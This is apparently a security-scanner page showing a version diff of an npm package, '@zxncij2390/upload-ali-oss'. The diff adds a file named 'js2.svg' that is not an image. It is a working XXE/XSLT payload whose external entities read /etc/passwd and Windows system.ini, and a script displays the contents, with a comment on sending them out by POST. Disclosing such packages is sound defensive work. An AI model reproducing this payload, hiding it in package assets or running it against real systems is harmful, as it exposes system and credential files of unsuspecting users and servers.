@zxncij2390/upload-ali-oss 0.1.4 → 0.1.5
Sign up to get free protection for your applications and to get access to all the features.
- package/js2.svg +31 -0
- package/package.json +1 -1
package/js2.svg
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
2
|
+
<?xml-stylesheet type="text/xsl" href="?#"?>
|
3
|
+
<!DOCTYPE div [
|
4
|
+
<!ENTITY passwd_p "file:///etc/passwd">
|
5
|
+
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
|
6
|
+
<!ENTITY sysini_p "file:///c:/windows/system.ini">
|
7
|
+
<!ENTITY sysini_c SYSTEM "file:///c:/windows/system.ini">
|
8
|
+
]>
|
9
|
+
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
10
|
+
<xsl:template match="/">
|
11
|
+
<xsl:copy-of select="document('')"/>
|
12
|
+
<body xmlns="http://www.w3.org/1999/xhtml">
|
13
|
+
<div style="display:none">
|
14
|
+
<p class="&passwd_p;">&passwd_c;</p>
|
15
|
+
<p class="&sysini_p;">&sysini_c;</p>
|
16
|
+
</div>
|
17
|
+
<div style="width:40rem" id="r" />
|
18
|
+
<script>
|
19
|
+
document.querySelector('#r').innerHTML = `
|
20
|
+
remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
|
21
|
+
document.querySelectorAll('p').forEach(p => {
|
22
|
+
//You can send p.innerHTML by POST.
|
23
|
+
document.querySelector('#r').innerHTML += `
|
24
|
+
local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
|
25
|
+
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
|
26
|
+
});
|
27
|
+
</script>
|
28
|
+
</body>
|
29
|
+
</xsl:template>
|
30
|
+
</xsl:stylesheet>
|
31
|
+
|